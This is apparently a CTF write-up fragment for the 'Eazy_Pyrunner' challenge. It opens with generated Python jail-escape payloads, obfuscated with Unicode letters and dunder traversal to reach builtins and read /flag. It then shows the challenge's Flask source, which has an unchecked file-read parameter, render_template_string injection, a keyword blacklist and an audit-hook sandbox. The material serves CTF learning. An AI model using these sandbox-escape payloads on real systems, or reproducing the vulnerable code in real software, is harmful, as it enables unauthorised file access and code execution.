filecontentsio(63 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓻𝑒𝑑𝓾𝑐𝑒_𝑒𝔁__(0,3)[0].__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__['_'+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+'_'+'_']['_'+'_'+'i'+'m'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'_'+'_']('io').𝓸𝓹𝑒𝓷(().__𝑐𝓵𝑎𝓼𝓼__.__𝑐𝓵𝑎𝓼𝓼__(''.𝑒𝓷𝑐𝓸𝑑𝑒())([47,102,108,97,103]))
filecontentstring(17 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓻𝑒𝑑𝓾𝑐𝑒_𝑒𝔁__(0,3)[0].__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__['_'+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+'_'+'_']['_'+'_'+'i'+'m'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'_'+'_']('io').𝓸𝓹𝑒𝓷(().__𝑐𝓵𝑎𝓼𝓼__.__𝑐𝓵𝑎𝓼𝓼__(''.𝑒𝓷𝑐𝓸𝑑𝑒())([47,102,108,97,103])).𝓻𝑒𝑎𝑑()
print_filecontent_error(81 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[108].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓲𝓷𝓽(''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓻𝑒𝑑𝓾𝑐𝑒_𝑒𝔁__(0,3)[0].__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__['_'+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+'_'+'_']['_'+'_'+'i'+'m'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'_'+'_']('io').𝓸𝓹𝑒𝓷(().__𝑐𝓵𝑎𝓼𝓼__.__𝑐𝓵𝑎𝓼𝓼__(''.𝑒𝓷𝑐𝓸𝑑𝑒())([47,102,108,97,103])).𝓻𝑒𝑎𝑑())


-----------Progress-----------


+++++++++++Jail broken+++++++++++


''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[108].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓲𝓷𝓽(''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓻𝑒𝑑𝓾𝑐𝑒_𝑒𝔁__(0,3)[0].__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__['_'+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+'_'+'_']['_'+'_'+'i'+'m'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'_'+'_']('io').𝓸𝓹𝑒𝓷(().__𝑐𝓵𝑎𝓼𝓼__.__𝑐𝓵𝑎𝓼𝓼__(''.𝑒𝓷𝑐𝓸𝑑𝑒())([47,102,108,97,103])).𝓻𝑒𝑎𝑑())
Reminder: index 1 of lit.__doc__[1] must match the string literal u.
Reminder: index 3 of lit.__doc__[3] must match the string literal l.
Reminder: index 4 of lit.__doc__[4] must match the string literal t.
Reminder: index 7 of lit.__doc__[7] must match the string literal n.
Reminder: index 13 of lit.__doc__[13] must match the string literal b.
Reminder: index 17 of lit.__doc__[17] must match the string literal s.
Reminder: index 35 of lit.__doc__[35] must match the string literal r.
Reminder: index 85 of lit.__doc__[85] must match the string literal p.
Reminder: 108 is the index of IncrementalEncoder, path to builtins must fit in index of IncrementalEncoder.


+++++++++++Jail broken+++++++++++

SHCTF 2026 [阶段1] Eazy_Pyrunner

 1from flask import Flask, render_template_string, request, jsonify
 2import subprocess
 3import tempfile
 4import os
 5import sys
 6
 7app = Flask(__name__)
 8
 9@app.route('/')
10def index():
11    file_name = request.args.get('file', 'pages/index.html')
12    try:
13        with open(file_name, 'r', encoding='utf-8') as f:
14            content = f.read()
15    except Exception as e:
16        with open('pages/index.html', 'r', encoding='utf-8') as f:
17            content = f.read()
18
19    return render_template_string(content)
20
21def waf(code):
22    blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
23    for keyword in blacklisted_keywords:
24        if keyword in code:
25            return False
26    return True
27
28@app.route('/execute', methods=['POST'])
29def execute_code():
30    code = request.json.get('code', '')
31
32    if not code:
33        return jsonify({'error': '请输入Python代码'})
34
35    if not waf(code):
36        return jsonify({'error': 'Hacker!'})
37
38    try:
39        with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
40            f.write(f"""import sys
41
42sys.modules['os'] = 'not allowed'
43
44def is_my_love_event(event_name):
45    return event_name.startswith("Nothing is my love but you.")
46
47def my_audit_hook(event_name, arg):
48    if len(event_name) > 0:
49        raise RuntimeError("Too long event name!")
50    if len(arg) > 0:
51        raise RuntimeError("Too long arg!")
52    if not is_my_love_event(event_name):
53        raise RuntimeError("Hacker out!")
54
55__import__('sys').addaudithook(my_audit_hook)
56
57{code}""")
58            temp_file_name = f.name
59
60        result = subprocess.run(
61            [sys.executable, temp_file_name],
62            capture_output=True,
63            text=True,
64            timeout=10
65        )
66
67        os.unlink(temp_file_name)
68
69        return jsonify({
70            'stdout': result.stdout,
71            'stderr': result.stderr
72        })
73
74    except subprocess.TimeoutExpired:
75        return jsonify({'error': '代码执行超时(超过10秒)'})
76    except Exception as e:
77        return jsonify({'error': f'执行出错: {str(e)}'})
78    finally:
79        if os.path.exists(temp_file_name):
80            os.unlink(temp_file_name)
81
82if __name__ == '__main__':
83    app.run(debug=True)

题解见:https://www.bilibili.com/video/BV1oEZyBcEov/